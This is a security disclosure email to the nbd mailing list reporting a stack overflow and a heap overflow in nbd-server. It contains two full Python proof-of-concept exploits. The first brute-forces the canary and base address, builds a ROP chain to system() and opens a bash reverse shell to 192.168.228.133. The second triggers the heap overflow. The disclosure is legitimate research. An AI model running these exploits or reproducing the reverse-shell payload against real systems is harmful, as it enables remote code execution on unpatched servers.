report security problem of nbd

- *To*: nbd@other.debian.org
- *Subject*: report security problem of nbd
- *From*: 王多 <duo.wang@chaitin.com>
- *Date*: Mon, 24 Jan 2022 12:10:06 +0800
- *Message-id*: <[ ] CAFfU0HAYyuiuvVDe622zP7OLXDYRftrYzvYjeRxgLaKoq2E0+A@mail.gmail.com>

1.stack overflow
In nbd-server.c, function handle_info have a stack overflow

https://github.com/NetworkBlockDevice/nbd/blob/5750003711b8050bad3ddaf5196201ef419ce15d/nbd-server.c#L2299

len can be controlled by an attacker, the buf size is 1024, when `len - sizeof(namelen) > 1024` the buf overflow.

python poc code as following:
```
from pwn import *
import time
import sys

context.endian = "big"
context.log_level = "debug"

elf = ELF("./nbd-server")

NBD_OPT = {
    "NBD_OPT_EXPORT_NAME":1,
    "NBD_OPT_ABORT":2,
    "NBD_OPT_LIST":3,
    "NBD_OPT_STARTTLS":5,
    "NBD_OPT_INFO":6,
    "NBD_OPT_GO":7,
    "NBD_OPT_STRUCTURED_REPLY":8,
    "NBD_OPT_LIST_META_CONTEXT":9,
    "NBD_OPT_SET_META_CONTEXT":10
}

NBD_NEW_VERSION = b"IHAVEOPT"

def nbd_opt_info(buf, name):
    option = b""
    option += NBD_NEW_VERSION
    option += p32(NBD_OPT["NBD_OPT_INFO"])
    option += p32(len(buf) + 4)
    option += p32(len(name))
    option += buf
    option += name
    option += p16(0)
    p.send(option)

    return

def nbd_opt_list():
    option = b""
    option += NBD_NEW_VERSION
    option += p32(NBD_OPT["NBD_OPT_LIST"])
    option += p32(0)
    p.send(option)

    return

def nbd_opt_structured_reply():
    option = b""
    option += NBD_NEW_VERSION
    option += p32(NBD_OPT["NBD_OPT_STRUCTURED_REPLY"])
    option += p32(0)
    p.send(option)

    return

def nbd_opt_set_meta_context(exportname, querystring):
    option = b""
    option += NBD_NEW_VERSION
    option += p32(NBD_OPT["NBD_OPT_SET_META_CONTEXT"])
    option += p32(4 + len(exportname) + 4 + 4 + len(querystring))
    p.send(option)

    msg = b""
    msg += p32(len(exportname)) # exportnamelen
    msg += exportname.encode("latin") # exportname
    msg += p32(1) # nr_queries
    msg += p32(len(querystring)) # querylen
    msg += querystring.encode("latin") # querystring
    p.send(msg)

    return

def nbd_opt_list_meta_context(exportname, querystring):
    option = b""
    option += NBD_NEW_VERSION
    option += p32(NBD_OPT["NBD_OPT_LIST_META_CONTEXT"])
    option += p32(4 + len(exportname) + 4 + 4 + len(querystring))
    p.send(option)

    msg = b""
    msg += p32(len(exportname)) # exportnamelen
    msg += exportname.encode("latin") # exportname
    msg += p32(1) # nr_queries
    msg += p32(len(querystring)) # querylen
    msg += querystring.encode("latin") # querystring
    p.send(msg)

    return

def nbd_opt_go(exportname, info):
    option = b""
    option += NBD_NEW_VERSION
    option += p32(NBD_OPT["NBD_OPT_GO"])
    option += p32(4 + len(exportname) + 2 + 2)
    p.send(option)

    msg = b""
    msg += p32(len(exportname)) # exportnamelen
    msg += exportname.encode("latin") # exportname
    msg += p16(1) # nrinfos
    msg += p16(info) # info
    p.send(msg)

    return

t0 = time.perf_counter()

if len(sys.argv) < 3:
    print("usage: nbdtest.py ip port")
    exit(0)

ip = sys.argv[1]
port = int(sys.argv[2])
p = remote(ip, port)

p.recvuntil(b"NBDMAGICIHAVEOPT")
gflag = u16(p.recv())
p.send(p32(gflag))

canary = b"\x00"
for i in range(7):
    for j in range(256):
        payload = b""
        payload += b"A"*1032
        payload += canary
        payload += p8(j)
        nbd_opt_info(payload, b"B"*4096)
        p.recvuntil(b"Export unknown")

        p.send(NBD_NEW_VERSION + p32(0xdeadbeef) + p32(0))
        try:
            p.recvuntil(b"The given option is unknown to this server implementation")
        except:
            p.close()

            p = remote(ip, port)
            p.recvuntil(b"NBDMAGICIHAVEOPT")
            gflag = u16(p.recv())
            p.send(p32(gflag))
            continue

        canary += p8(j)
        p.close()

        p = remote(ip, port)
        p.recvuntil(b"NBDMAGICIHAVEOPT")
        gflag = u16(p.recv())
        p.send(p32(gflag))
        break

log.success("canary: "+ hex(u64(canary.ljust(8, b"\x00"), endian='little')))

progaddr = b"\x70"
for i in range(5):
    for j in range(256):
        payload = b""
        payload += b"A"*1032
        payload += canary
        payload += p64(0xdeadbeef, endian='little')*7
        payload += progaddr
        payload += p8(j)
        nbd_opt_info(payload, b"B"*4096)
        p.recvuntil(b"Export unknown")

        try:
            p.recvuntil(b"NBDMAGICIHAVEOPT")
        except:
            p.close()

            p = remote(ip, port)
            p.recvuntil(b"NBDMAGICIHAVEOPT")
            gflag = u16(p.recv())
            p.send(p32(gflag))
            continue

        progaddr += p8(j)
        p.close()

        p = remote(ip, port)
        p.recvuntil(b"NBDMAGICIHAVEOPT")
        gflag = u16(p.recv())
        p.send(p32(gflag))
        break

proc_base = u64(progaddr.ljust(8, b"\x00"), endian='little') - 0x9570
log.success("proc_base: "+ hex(proc_base))

payload = b""
payload += b"A"*1032
payload += canary
payload += p64(0xdeadbeef, endian='little')*7
payload += p64(proc_base + 0xC2AA, endian='little')
payload += p64(0, endian='little')
payload += p64(1, endian='little')
payload += p64(4, endian='little')
payload += p64(proc_base + 0x13400, endian='little')
payload += p64(0x40, endian='little')
payload += p64(proc_base + elf.got['read'], endian='little')
payload += p64(proc_base + 0xC290, endian='little')
payload += p64(0)*7
payload += p64(proc_base + 0x4a58, endian='little')
payload += p64(proc_base + 0x13400, endian='little')
payload += p64(proc_base + elf.plt['system'] , endian='little')
nbd_opt_info(payload, b"B"*4096)

p.send(b"bash -c 'sh -i >& /dev/tcp/192.168.228.133/23333 0>&1'")

print(time.perf_counter() - t0)
p.interactive()
```

2.heap overflow
In nbd-server.c, function handle_info and handle_export_name have a heap overflow

https://github.com/NetworkBlockDevice/nbd/blob/5750003711b8050bad3ddaf5196201ef419ce15d/nbd-server.c#L2302
https://github.com/NetworkBlockDevice/nbd/blob/5750003711b8050bad3ddaf5196201ef419ce15d/nbd-server.c#L2117

namelen can be controlled by an attacker, when `namelen = -1`, malloc will allocate a very small buffer, but socket_read will read a 0xffffffff, thus causing a heap overflow

```
from pwn import *

context.endian = "big"
context.log_level = "debug"

elf = ELF("./nbd-server")

NBD_OPT = {
    "NBD_OPT_EXPORT_NAME":1,
    "NBD_OPT_ABORT":2,
    "NBD_OPT_LIST":3,
    "NBD_OPT_STARTTLS":5,
    "NBD_OPT_INFO":6,
    "NBD_OPT_GO":7,
    "NBD_OPT_STRUCTURED_REPLY":8,
    "NBD_OPT_LIST_META_CONTEXT":9,
    "NBD_OPT_SET_META_CONTEXT":10
}

NBD_NEW_VERSION = b"IHAVEOPT"

def nbd_opt_info(buf, name):
    option = b""
    option += NBD_NEW_VERSION
    option += p32(NBD_OPT["NBD_OPT_INFO"])
    option += p32(len(buf) + 4)
    option += p32(len(name))
    option += buf
    option += name
    option += p16(0)
    p.send(option)

    return

if len(sys.argv) < 3:
    print("usage: nbdtest.py ip port")
    exit(0)

ip = sys.argv[1]
port = int(sys.argv[2])
p = remote(ip, port)

p.recvuntil(b"NBDMAGICIHAVEOPT")
gflag = u16(p.recv())
p.send(p32(gflag))

option = b""
option += NBD_NEW_VERSION
option += p32(NBD_OPT["NBD_OPT_INFO"])
option += p32(1024)
option += p32(-1)
option += b"A"*1024
option += b"B"*4096
option += p16(0)
p.send(option)
```

Wangduo of Chaitin Security Research Lab

Reply to:

- nbd@other.debian.org
- 王多 (on-list)
- 王多 (off-list)
